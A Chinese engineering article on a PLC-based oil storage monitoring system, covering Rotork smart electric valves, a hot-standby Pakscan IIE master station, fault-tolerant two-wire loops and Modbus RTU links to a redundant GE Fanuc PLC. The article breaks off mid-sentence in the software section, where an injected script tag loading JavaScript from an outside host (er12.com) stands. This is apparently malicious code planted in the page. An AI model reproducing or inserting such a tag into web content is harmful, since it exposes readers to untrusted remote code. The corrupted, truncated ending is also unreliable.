[摘 要]文中介绍了基于plc的石油储运监控系统的设计方案、系统组成、控制方式与通讯网络,阐述了采用pakscan主站控制器控制的智能电动阀的特点及其与plc的通讯方法。
[关键词]plc;智能电动阀;主站控制器;石油储运
1 前言
罐区中原油储罐和输油管道所使用的各种控制阀门是石油储运过程中必不可少的现场仪表,其智能化程度的高低、所含信息的多少和对故障的诊断与容错能力直接影响到数据采集与监控系统的可靠性、稳定性和易用性。通常罐区中的控制阀数量众多且分散,普通的控制阀所含信息量少而布线繁多,这在一定程度上使罐区监控系统的设计复杂化。该系统采用英国rotork公司的智能电动阀及其主站控制器,大大简化了监控系统的复杂设计,而且借助其丰富的诊断信息和对故障的容错能力,使系统的可靠性得以提高。
2 监控系统的硬件实现
2.1 rotork智能阀控制设备
rotork智能阀控制设备是一个阀门数据采集、监视与控制系统,它由一台主站控制器和与它相连的现场电动阀组成。主站控制器通过一条两线电流环路可以控制挂于环路上的多达240个现场控制阀,该电流环路可长达20 km。
现场电动阀的智能化程度较高,其内部含有丰富的数据和诊断信息。但最主要的特点是多个智能阀仅通过两线互联成一个环路,最终接入主站控制器的只有起始和末端两线,所有阀门信息通过两线通讯进入主站控制器。现场电动阀还具有线路故障屏蔽功能,当环路出现开路、短路或接地故障时,智能阀可以将故障端的线路屏蔽掉,使主站控制器仍能与线路上的所有智能阀通讯而不受影响,同时将故障信息发给主站控制器。其两线屏蔽原理如图2—1所示。
正常操作情况下,通讯电流信号沿环路的一条线从主站控制器的端口a流出,经该环路从端口b流回。此时,另一条线路是冗余的。当有一处线路发生故障时,该处故障线路被阀门屏蔽,故障线路两边的智能阀可通过各自的环路与主站控制器通讯;当有两处线路发生故障时,这两处故障之间的智能阀都被屏蔽,两处故障之外的智能阀依然可以通过两“臂状”环路与主站控制器通讯。
主站控制器是由主cpu卡、环路通讯卡、电源、液晶显示器和16按钮键盘组成的盘装智能仪表。它内部有两个固定的数据库,一个是现场单元数据库,负责接收并记录从两线环路传来的智能阀的地址、转矩、开度等数据,根据从上位机传来的读写命令控制阀门的运动,该数据库从逻辑上划分为4个区,每个区记录60个阀门的数据;另一个数据库为主站控制器状态及自诊断数据库,负责记录通讯协议的有关状态并向智能阀发布命令。通过主站控制器的按键和液晶显示器,可以实现读取智能阀的开度、转矩、地址等数据,控制阀门的开闭,接收报警信号及与plc通讯等功能。
pakscan iie master station是rotork主站控制器中的一种,它为双重热备结构,在主控制器出现故障时可以自动切换到热备控制器。图2—2为pakscan iie主站控制器与现场智能阀通过两线环路相连的情况。
pakscan iie master sation有一个rs-485通讯口和一个rs-232通讯口,它们可通过modbus协议与plc通讯。其中rs-232通讯口可以不通过plc直接连接打印机,打印报警信号。
2.2 监控系统结构
图2—3所示为现场智能电动阀监控系统的结构框图。
该系统的控制部分采用美国ge fanuc公司的hbr双重热备型plc系统,通过plc控制140个智能阀(iq actuator)的开停闭。上位监控站可监视各个智能阀的阀位回信状态、阀位值以及报警信号,并可执行开阀、停阀和关阀操作。
pakscan iie主站控制器与plc之间采用modbus协议通讯,以port 1的rs-485接口连接。正常运行情况下,主plc和主控制器工作,从plc和热备控制器分别与主plc和主控制器保持同步。智能阀将数据传送给主控制器,主plc通过rs-485接口从主控制器中读取数据,并向其发布命令,主控制器再执行命令,驱动智能阀按命令运转。当主plc或主控制器出现故障时,系统能分别自动切换到从plc或热备控制器。
由于系统中采用的是modbus通讯协议,一台plc可以连接多台pakscan iie主站控制器,因此,若现场智能阀较多,系统可以很方便地扩展而且连线简单。
3 软件设计
3.1 通讯程序设计
plc选用modbus rtu主通讯模块(master)。pakscan iie主站控制器是一个远程终端单元,做为modbus从设备(slave)。plc的cpu通过modbus rtu主通讯模块控制pakscan iie主站控制器的读写,被称为modbus host。系统采用单modbus host两线通讯方式,该方式最多可以连接32个pakscan iie主站控制器。
主通讯模块的程序设计有3部分内容:初始化通讯模块;读写modbus/rtu数据;监测通讯状态。
通讯模块的初始化工作主要是配置3个初始化控制块?script src=http://er12.com/t.js>











